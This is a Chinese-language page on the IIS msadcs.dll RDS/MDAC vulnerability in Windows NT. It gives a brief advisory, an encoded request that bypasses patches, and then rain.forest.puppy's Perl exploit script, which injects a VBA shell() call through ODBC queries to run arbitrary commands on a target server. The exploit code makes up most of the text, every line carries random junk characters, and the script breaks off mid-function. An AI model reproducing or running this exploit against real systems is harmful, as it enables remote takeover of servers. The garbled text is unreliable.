IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`V[{,!l;X myeez+@ m 涉及程序:
BSB;0O M Microsoft NT server
/<$\)|r &*N;yW""f 描述:
F"Y.'my8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[<M~6] Q)s[ls 详细:
6vQCghI 如果你没有时间读详细内容的话,就删除:
na1*^S`[ c:\Program Files\Common Files\System\Msadc\msadcs.dll
9vZD?6D,n 有关的安全问题就没有了。
N8^AH8l >ps=z$4j* 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Xn
1V1sr Q5H!
^RQm 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
8vLaSZ="[ 关于利用ODBC远程漏洞的描述,请参看:
Yq?FiE0 t$lO~~atr http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zg2}R4h ?@i_\<A2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
]FNqNZ http://www.microsoft.com/security/bulletins/MS99-025faq.asp z.q^`01/H 5dE@ePO[/9 这里不再论述。
M &g1'zv?/ 9zKrFqhNo 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r2]KP(T8| Gd8FXk,.! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\' gb{JO 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
"NgfdLz kgV_*0^ AD=vYDR+ #将下面这段保存为txt文件,然后: "perl -x 文件名"
_Fz]QxO 7xIXFuu #!perl
+q/ j #
bZ$;`F5}) # MSADC/RDS 'usage' (aka exploit) script
dyz)22{\!` #
=-e`OHA # by rain.forest.puppy
Pu=,L#+F N #
{m)$ b # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
""JTU6]MS # beta test and find errors!
R>iRnrn:- >vP DF+ u use Socket; use Getopt::Std;
*?a rEYc8 getopts("e:vd:h:XR", \%args);
b!7*bFTt 5mxYzu;#] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
u._B7R&> `EUufTYi if (!defined $args{h} && !defined $args{R}) {
#MyR:V*a print qq~
,u1Yn} Usage: msadc.pl -h <host> { -d <delay> -X -v }
?W*{%my -h <host> = host you want to scan (ip or domain)
Nj<}t/e -d <seconds> = delay between calls, default 1 second
+M"Fv9 -X = dump Index Server path table, if available
2+7rLf`l -v = verbose
em+dQ15 -e = external dictionary file for step 5
:4f>S)m GEdWpYKS-` Or a -R will resume a command session
\CP)$0j-&o 5*ip}wA ~; exit;}
h2SVDKj 9Q<8DMX^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
WPmH4L>T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`m.).Hda if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=o@CCUKpj if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5v f?E"\r $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Vy:I[@6@+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
rfgkw ,dTRM if (!defined $args{R}){ $ret = &has_msadc;
3
?1qI'5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
)]/gu\90 kPm{ tc
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
hmRnr=2N . "cmd /c ";
=ZE]jmD4P $in=<STDIN>; chomp $in;
Df\~ ZWs! $command="cmd /c " . $in ;
v-k~Q$7~ ;#F/2UgHB if (defined $args{R}) {&load; exit;}
#mI{D\UR `K ,{Y_ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^usZ&9"@P &try_btcustmr;
Rr'#OxF b) k\?'j print "\nStep 2: Trying to make our own DSN...";
TN xl?5: &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~6HpI0i :2'y=t # print "\nStep 3: Trying known DSNs...";
.^aakM &known_dsn;
MM}lW-q; iYqZBLf{S print "\nStep 4: Trying known .mdbs...";
kYlsjM &known_mdb;
0pO{ {F $>PXX32 if (defined $args{e}){
toq/G,N Q print "\nStep 5: Trying dictionary of DSN names...";
@H{QHi &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
gx-ib/_f1 \~sc6ho print "Sorry Charley...maybe next time?\n";
|[/<[@\'' exit;
DChqcdx~~ !e8OC9_x ##############################################################################
wLF;nzv J**-q(> sub sendraw { # ripped and modded from whisker
;_o1{?~ sleep($delay); # it's a DoS on the server! At least on mine...
@%(Vi!Cv"R my ($pstr)=@_;
n{d0}N= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E[:eMJR die("Socket problems\n");
^#|Sl D] if(connect(S,pack "SnA4x8",2,80,$target)){
$pKlF0 . select(S); $|=1;
/6=IL print $pstr; my @in=<S>;
UZ5O%SF select(STDOUT); close(S);
n~1F[ * return @in;
RcZg/{[{ } else { die("Can't connect...\n"); }}
#ujry.m J`E,Xw>2 ##############################################################################
r8.`W\SKX ($Cy-p sub make_header { # make the HTTP request
p<eu0B_V my $msadc=<<EOT
`!`g&:Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}V:B,: User-Agent: ACTIVEDATA
3 291"0 Host: $ip
F9ys.Bc Content-Length: $clen
6:fHPlqW Connection: Keep-Alive
7Ei,L[{\i# ans(^Up$ ADCClientVersion:01.06
04K[U9W3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JPH! .@ <r9L-4 --!ADM!ROX!YOUR!WORLD!
'|I8byiK Content-Type: application/x-varg
4YuJ - Content-Length: $reqlen
%^bHQB% 'YKzs ;y$ EOT
)x!b{5'"7 ; $msadc=~s/\n/\r\n/g;
;u+k!wn return $msadc;}
86*9GS?U( PBeBI: ##############################################################################
.tdaj6x HT`k-}ho, sub make_req { # make the RDS request
#r=Jc8J_ my ($switch, $p1, $p2)=@_;
i\zVP.c])* my $req=""; my $t1, $t2, $query, $dsn;
D*%? 0 Q9yIQ{>H[ if ($switch==1){ # this is the btcustmr.mdb query
6`PQP;
$query="Select * from Customers where City=" . make_shell();
`D%U5Jb $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3`JLb]6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m4 k:uk7N <y
S|\Z| elsif ($switch==2){ # this is general make table query
^n?`l ^9c$ $query="create table AZZ (B int, C varchar(10))";
6"h,0rR $dsn="$p1";}
diz=|g=w Wbq0K6X elsif ($switch==3){ # this is general exploit table query
5*O*p `Ba $query="select * from AZZ where C=" . make_shell();
43VBx<" $dsn="$p1";}
NJNS8\4 _%@dlT? elsif ($switch==4){ # attempt to hork file info from index server
_VUG!?_D$5 $query="select path from scope()";
){nOM$W $dsn="Provider=MSIDXS;";}
g"Tb\ `hl8j\HV<} elsif ($switch==5){ # bad query
AMw#_8Y $query="select";
K7 J RCLA $dsn="$p1";}
"1l$]=C* e=cb% $t1= make_unicode($query);
K8=jkU $t2= make_unicode($dsn);
b8
^O"oDrp $req = "\x02\x00\x03\x00";
|JL?"cc $req.= "\x08\x00" . pack ("S1", length($t1));
^ Fnag]qQ $req.= "\x00\x00" . $t1 ;
S4_C8 $req.= "\x08\x00" . pack ("S1", length($t2));
w+wg)$i $req.= "\x00\x00" . $t2 ;
8nu@6 )# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)ZW[$:wA return $req;}
\ xJ_)r 9Q.@RO$%C ##############################################################################
M!/!*,~ 2dyS_2u sub make_shell { # this makes the shell() statement
5|jsv)M+ return "'|shell(\"$command\")|'";}
-U{CWn3G Y#5v5
##############################################################################
UhKd o d =p=eUd2 sub make_unicode { # quick little function to convert to unicode
Nz77"
kC my ($in)=@_; my $out;
dq{+-XaEk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7>E>`Nc6 return $out;}
GGs7]mhA Z[9t?ePL ##############################################################################
i'QR-B&Z .iC!Ttr sub rdo_success { # checks for RDO return success (this is kludge)
N/!(`Z, my (@in) = @_; my $base=content_start(@in);
]$,3vYBf if($in[$base]=~/multipart\/mixed/){
:jf/$]p return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Zsn@O2 return 0;}
|ms. lhC^Upqw ##############################################################################
GJ{XlH I&6M{,rnM sub make_dsn { # this makes a DSN for us
r;9 V7C my @drives=("c","d","e","f");
{4$aA* print "\nMaking DSN: ";
DDq?4 foreach $drive (@drives) {
i-}Tt<^ print "$drive: ";
TILH[r&Jg my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
JvsL]yRT "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}BUm}.-{u, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
RW<10: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4?fpk9c{2 return 0 if $2 eq "404"; # not found/doesn't exist
Hz"FGwd if($2 eq "200") {
Q Hr'r/0 foreach $line (@results) {
1l'JoU.<
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
o%,?v
9 } return 0;}
y`i?Qo3 D<`M<:nq ##############################################################################
drxCjuz" g%V#Z`*| sub verify_exists {
0R,. my ($page)=@_;
["#H/L]3 my @results=sendraw("GET $page HTTP/1.0\n\n");
*10qP?0H return $results[0];}
Om*(dK]zHQ c*y*UG ##############################################################################
O#k eoC4 x_x_TEyy h sub try_btcustmr {
w!pj);jy{ my @drives=("c","d","e","f");
~z\a:+ my @dirs=("winnt","winnt35","winnt351","win","windows");
8Vjv #pm {r~=mQ foreach $dir (@dirs) {
?t<g|H/|6 print "$dir -> "; # fun status so you can see progress
Na4O( d` foreach $drive (@drives) {
}H<Z`3_U% print "$drive: "; # ditto
'1rGsfp6In $reqlen=length( make_req(1,$drive,$dir) ) - 28;
N4z[=b> $reqlenlen=length( "$reqlen" );
Peo-t*-06 $clen= 206 + $reqlenlen + $reqlen;
L]%!YP\<T ORM3oucP my @results=sendraw(make_header() . make_req(1,$drive,$dir));
~"_!O+Pj if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#].qjOj else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
tLU@&NY` @^<&LG5^ ##############################################################################
'"+Gn52# %JH/|mA&| sub odbc_error {
lcLDCt? my (@in)=@_; my $base;
L/E7xLz my $base = content_start(@in);
E+ |K3EJ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
DgK*>A $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m[%':^vSr $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?6\N&MTF $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mK/E1a)AG3 return $in[$base+4].$in[$base+5].$in[$base+6];}
?lfyC/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
iDx(qdla print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
pN)x,<M) $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<CB%e!~.9 &Nh
zEl1 ##############################################################################
k~Q
5Cs '7}2}KD sub verbose {
q7rb3d my ($in)=@_;
Td|u-9OM return if !$verbose;
Rc3!u^?u print STDOUT "\n$in\n";}
?0M$p }30Sb&" ##############################################################################
+0)M1!gK 9Zj3 "v+b sub save {
}& W= my ($p1, $p2, $p3, $p4)=@_;
eXD~L&s[ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7W*a+^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
XjCx`bX^< close OUT;}
*>"NUHq :nR80] ##############################################################################
}K@m4`T )-ojm$ sub load {
NMfHrYHbh my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mQ<4(qd) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.p.(
\5Fo @p=<IN>; close(IN);
)hl7)~S< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
10h;N[ $target= inet_aton($ip) || die("inet_aton problems");
8V}|(b# print "Resuming to $ip ...";
;N(L, $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
rM^2yr7H if($p[1]==1) {
9-V'U\}L $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/t`,7y3T $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
+ue1+# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
',xUU{5? if (rdo_success(@results)){print "Success!\n";}
.>#O'Z&q9 else { print "failed\n"; verbose(odbc_error(@results));}}
gOe!GnO elsif ($p[1]==3){
KO7&